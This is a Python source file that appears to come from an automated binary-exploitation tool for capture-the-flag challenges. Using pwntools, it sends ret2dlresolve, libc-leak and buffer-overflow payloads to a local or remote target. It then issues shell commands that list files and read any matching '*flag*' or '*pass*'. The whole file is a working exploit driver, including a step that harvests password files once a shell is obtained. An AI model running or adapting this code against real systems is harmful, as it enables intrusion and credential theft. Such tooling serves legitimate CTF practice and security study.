from pwn import remote, process, u64, u32, ELF, gdb
import re
from .overflowExploiter import exploitOverflow
import logging

log = logging.getLogger(__name__)


def sendExploit(
    binary_name,
    properties,
    remote_server=False,
    remote_url="",
    port_num=0,
    user_input=None,
    debug=False,
):

    send_results = {}

    # Create local or remote process
    if remote_server:
        proc = remote(remote_url, port_num)
    else:
        proc = process(binary_name)
        if debug:
            gdb.attach(
                proc,
                """
            b *0x4006b0
            c
            """,
            )

    # Command to send
    if user_input is None:
        user_input = properties["pwn_type"]["results"]["input"]

    if properties["pwn_type"]["results"]["type"] == "dlresolve":
        proc.clean_and_log(timeout=1)

        dlresolve_first = properties["pwn_type"]["results"]["dlresolve_first"]
        dlresolve_second = properties["pwn_type"]["results"]["dlresolve_second"]

        proc.send(dlresolve_first)

        proc.clean_and_log(timeout=1)

        try:
            proc.send(dlresolve_second)
        except EOFError:
            log.error("Got EOF error")
            return None

    elif properties["pwn_type"]["results"]["type"] == "leak":
        leak_input = properties["pwn_type"]["results"]["leak_input"]
        leak_output = properties["pwn_type"]["results"]["leak_output"]
        leaked_function = properties["pwn_type"]["results"]["leaked_function"]
        output_len = len(leak_output)

        proc.clean_and_log(timeout=1)

        if leak_input.endswith(b"\n"):
            proc.send(leak_input)
        else:
            proc.sendline(leak_input)

        bytes_with_leak = proc.recvuntil(b"\n").replace(b"\n", b"")

        log.info("Second clean and log")
        proc.clean_and_log()

        # bytes_with_leak = proc.read()
        if properties["protections"]["arch"] == "amd64":
            total_leak = bytes_with_leak.ljust(8, b"\x00")
            leaked_val = u64(total_leak)  # puts won't print null bytes
        else:
            total_leak = bytes_with_leak.ljust(4, b"\x00")
            leaked_val = u32(total_leak)  # puts won't print null bytes

        log.info("--- Leak ---")
        log.info(total_leak)
        log.info(bytes_with_leak)

        log.info("leak is {}".format(hex(leaked_val)))
        log.info(
            "leaked function {} found at {}".format(leaked_function, hex(leaked_val))
        )
        properties["pwn_type"]["results"]["leaked_function_address"] = leaked_val

        if properties.get("libc", None):
            if isinstance(properties["libc"], dict):
                remote_libc = properties["libc"]["remote_libc"][0]
                leaked_function_offset = int(
                    remote_libc["symbols"][leaked_function], 16
                )
                properties["libc_base_address"] = leaked_val - leaked_function_offset
            else:
                libc = ELF(properties["libc"])
                properties["libc_base_address"] = (
                    leaked_val - libc.symbols[leaked_function]
                )

            log.info(
                "[+] Leak sets libc address to {}".format(
                    hex(properties["libc_base_address"])
                )
            )

        # Make second stage pwn
        properties["pwn_type"]["results"] = exploitOverflow(
            binary_name, properties, inputType=properties["input_type"]
        )

        second_stage_input = properties["pwn_type"]["results"]["input"]
        try:
            proc.sendline(second_stage_input)
        except EOFError:
            log.error("Got EOF error")
            return None

    else:
        proc.sendline(user_input)

    # If we have a shell, send some commands!
    proc.sendline()
    proc.sendline(b"ls;\n")
    proc.sendline(b"cat *flag*;\n")
    proc.sendline(b"cat *pass*;\n")

    # Sometimes the flag is just printed
    results = proc.recvall(timeout=3)
    log.debug(results)
    print(results)

    send_results["flag_found"] = False
    if b"{" in results and b"}" in results:
        send_results["flag_found"] = True
        log.info("[+] Flag found:")
        log.info(results)

    return send_results
